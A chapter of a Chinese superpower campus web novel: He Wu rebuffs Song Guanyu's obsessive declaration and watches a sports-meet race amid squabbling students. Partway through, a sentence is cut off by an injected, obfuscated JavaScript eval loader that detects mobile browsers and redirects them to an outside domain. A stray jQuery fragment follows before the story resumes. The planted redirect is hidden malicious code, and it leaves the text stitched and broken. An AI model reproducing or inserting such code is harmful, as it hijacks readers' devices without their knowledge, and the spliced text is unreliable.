随着房门被重新关上,休息室内便再次变回先前那样昏暗无光的场景。
即使看不清宋观玉的脸色,也能从这饱含怒意的语气之中感受出他的极度不满,“你还不下来?”
下一秒,房间的照明灯便猝然亮起。
原本缩在床沿的占晓蝶不知什么时候钻到了床底下,正偷偷伸出手朝何雾比了个“OK”的手势。
而薛衡的记忆网线也已经自动缩回到初始状态,此刻就算有人再盯着他的脑袋看上半天也绝对无法察觉出异样。
于是何雾不动声色地松出一口气,收回手就要起身。
刚才见何雾的动作中明显表露出躲避镜头的意味,宋观玉下意识认为她处于衣衫不整的状态。
因此现在察觉到她的衣服虽然看起来有些许凌乱,但至少将皮肤都遮的严严实实时,他的脸上才稍有霁色。
盯着床上仿佛醉酒般的薛衡看了片刻后,他冷声问道,“你对他做了什么?”
何雾从容不迫地整理着衣领,闻言有些狐疑地瞥他一眼,随后如实表达出自己的心声,“跟你没关系。”
说完,她就自顾自地起身朝外走去。
哪怕是在擦肩而过时,她也丝毫没有察觉到,宋观玉的神情在听到这句话后简直变得比刚打开房门时还要难看。
他很快就跟了出来,直接蛮不讲理地侧身挡在何雾身前,拦住她的去路,语气诚恳而又凝重地说道,“何雾,从我没有随身带抑制器来见你的那一刻开始,就意味着我已经不打算对你隐瞒任何事情了。可你难道就没有哪一刻,或是哪个瞬间想要读懂我对你的心思吗?”
多亏有了学生的提早预警,在真正听到这段话时,何雾才不至于一脸呆滞的傻在原地。
她抬眸看向宋观玉。
在这张俊俏无比的面容上,唯一与宋替玉有相似之处的便是那双似乎能够将世间所有美好都纳入眼底的双眸。
而此刻宋观玉眼中流露出的悲伤味道,实在令她无法不回想起埋藏在记忆最深处的那些瞬间。
“还记得我们一起去北商城区那天,你问我的那句话吗?”何雾一脸无可奈何地说道,“现在我可以诚实地回答你。”
“失去你哥以后,我没有任何一刻过得幸福。”她目不斜视地说着,眉毛也不自觉紧紧拧起,“所以,你也应该继续恨我,就像你那天信誓旦旦说出口的话一样...”
“否则的话,你跟我就没有什么不同,我们都会成为抛弃他的叛徒。”
接连几句话,听得宋观玉神情惨淡,脸色甚至比粉刷过的墙壁还要苍白。
他哑声道,“你简直比我想象的还要恶毒...”
对于他的指控,何雾并没有什么反应,她垂眸看了看时间,“我还要去搬器材,借过。”
可宋观玉却并没有如她预料的那样轻易让路。
他逆光站立,阴沉的面容上反而露出不合时宜的笑容,“你说得没错,我实在没必要太顾及你的感受。”
“你喜欢什么人对我来说已经不重要了。”宋观玉冷声说着,俊朗的外表与扭曲的神情几乎形成鲜明对比,简直像极了即将手刃爱人的愉悦犯。
“何雾,剩下的人生还长,十年、五十年、一百年…不管多久,我都会像厉鬼一样纠缠着你,尽管把我对你的爱慕当成最大的报复吧。”
看着他不含半点弄虚作假的眼神,何雾久违地感受到头皮发麻的滋味。
她不动声色地咽了咽口水,背后不由得冒出一层薄薄的冷汗。
这小子…该不会真是变态吧?
心烦意乱地离开待客区后,何雾先是打电话联系了郝医师,麻烦他来看看薛衡的情况,以免药片还会遗留下什么副作用。
随后她又给占晓蝶发了消息,得知她已经走在返回田径场的路上便也跟着往回赶去。
下午一点半,各大项目准时开赛,参加男子一千五百米决赛的选手也正式开始录入。
于是何雾便如约在比赛开始前赶到二号田径场。
被安排在这片观众席位置上的班级以大学部的各个专业班为主,而明面上只被称作A校区的超能力者学区则集中在看台最中间的区域。
因此,何雾的身影才刚出现在田径场内,位于全场中心的A校区学生们就立刻爆发出如擂鼓般震天响的呼声。
“何雾老师!!来我们这边看!视野一等一的好!”
“何老师!我们班准备了超多水果!来我们这儿!”
就连占晓蝶所在的人类海马体研究专业二班都跟着加入了纷争,“都别吵了!我们班学委跟何老师可是同僚,关系亲密无间!你们想争也得拿出点资本!”
但很快就有人回嘴,“工作上的关系就留到职场上谈!”
“就是就是!平时就经常能见到何雾老师了,连运动会的时间都不肯放过!你们别太过分了!”
看着转眼间吵成一团的A区学生,分属于大学部B区的其他专业班不禁有些傻眼。
“他们这是在干嘛?”不乏有人出声询问着。
稍微听明白一些的学生则解释道,“好像是为了那个高中部的老师吵架?”
闻言,先前问话的学生也忍不住朝位于众多视线中心的那道身影张望过去,“长得是挺好看,但也不至于抢成这样吧?真搞不懂A区那些人成天都在作什么妖。”
然而,导致了纷争的当事人何雾却并没有走上观赛台。
她漫不经心地对着赛场上环顾一圈,最终目光落定在恰好在此时入场的男子1500米决赛组。
陈江灿领到的号码牌是八号,因此走在队伍最末端。
似乎是因为出发位置有些不利,他的脸上露出几分显而易见的紧张神色。
直到远远见到了何雾的身影,他紧皱的眉头才猛然舒展开来,原本忧心忡忡的眸光也瞬间亮起。
他丝毫不顾形象地高举双手冲她一顿猛挥。
何雾也晃了晃手中未开封的矿泉水以示回应,脸上浮现出淡笑,“加油,我在终点等你。”
霎那之间,在其他人无法察觉到情况下,A区看台上有许多学生几乎是不约而同地黑着脸暗中发动了能力。
“报告后援会会长,已收集到目标人物的情报,陈江灿,今年大三,创造系发明专业一班的学生,恋爱史空白,家境优越,父亲经商,母亲从政,最后一次尿床是在小学三年级的夏天...”
感受着从四面八方投来的如有实质的杀意,陈江灿下意识缩了缩脖子,可心中的喜悦却丝毫没有被吓退,而是保持着不变的笑容冲何雾兴奋地点点头。
倒是他那群坐在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944987|174890||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
观赛台上的同班同学处境更糟,面对着周围密密麻麻的幽怨视线,作为发明专业一班班长的魏如群同学不由得头痛地扶了扶额。
照这个架势,等到拔旗战的时候,他们班将会被针对成什么样子几乎是可想而知的事情。
最令人感到气愤不已的是,“陈江灿那小子,既然跟何老师认识的话,怎么不请她来我们班看台坐坐!”
面对他这颇为得寸进尺的发言,其他班级的学生立刻暴起,“别蹬鼻子上脸了!发明一班是吧!今年的拔旗战别想着跟我们班结盟了,门都没有!”
“不结就不结!去年也没见你们班的名次有多高!”
才刚安静下来没多久的A区观赛台顿时又吵吵嚷嚷地闹成了一片。
何雾站在距离他们较远的终点,自然听不清他们争吵的内容,满心只觉得这群血气方刚的少年们果然是非常的朝气蓬勃。
而借用主席台设备进行比赛广播的广播社成员们倒是看足了热闹,脸上无一例外都写着相同的心声——今年拔旗战可有的精彩了。
直到时间跳转,其中一位负责播报的学生才开启麦克风提醒道,“男子跑步1500米决赛即将开始,请各位参赛选手前往起跑处就位。”
于是乎,正在做热身准备的选手们纷纷停下动作,怀揣着紧张的心情站上了各自的跑道。
随后,广播社成员便开始对照着决赛名单宣读选手信息,“第一跑道,初中部三年级十七班,王子渊。”
而这段时间,也正是为参赛选手送上头带的最佳时机。
果不其然,早就准备好头带等候在赛场边的老师和学生都不约而同涌了上去。
等广播终于念到第八跑道时,陈江灿的脑袋上已经绑好了由同班同学献上的骚气紫头带。
仔细看去,还能隐约通过刘海间隙中露出的部分猜到头带正前方用金黄丝线绣着的四个大字——舍我其谁。
“加油!”
眼看着比赛就要开始,A区观赛台上原本吵成一团的学生们终于安静下来。
所有人都握紧手中的加油棒,按照提早拟定的口号开始呐喊助威。
或许是很久没有切实感受过这样洋溢着浓厚青春气息的氛围,看着不遗余力狂奔在赛场上的选手们,看着观赛台上为朋友的荣誉而努力提升分贝的学生们,何雾不免有些出神。
恍惚之间,她几乎是在无意识的状态下发动了[探囊取物]。
直到揣在外套口袋里的手掌之间骤然多出什么东西,她才如梦初醒般回过神来。
将手从口袋中抽离出来时,紧紧缠绕在指尖的那根红色发带自然也跟着映入了她的眼眸。
她不自觉地微微睁大眼睛。
与此同时,正坐在主席台上观看比赛的林渊明显然也察觉到了何雾的动作。
他侧过眸看了身旁的陈芳文一眼,脸上露出意味复杂的笑容,“那条发带,是八年前你送给她的吧?”
即便只是静静坐着,陈芳文也总是能够吸引到大批人的注意。
因此,当他明眸微垂,面露出几分苦涩的时候,坐在周围的女士们纷纷忍不住投来了探究的视线。
“那条不是我的。”他的语气依旧温润平静,声音如同春夜细雨般浸有几分恰到好处的凉意,“是宋替玉给她的。”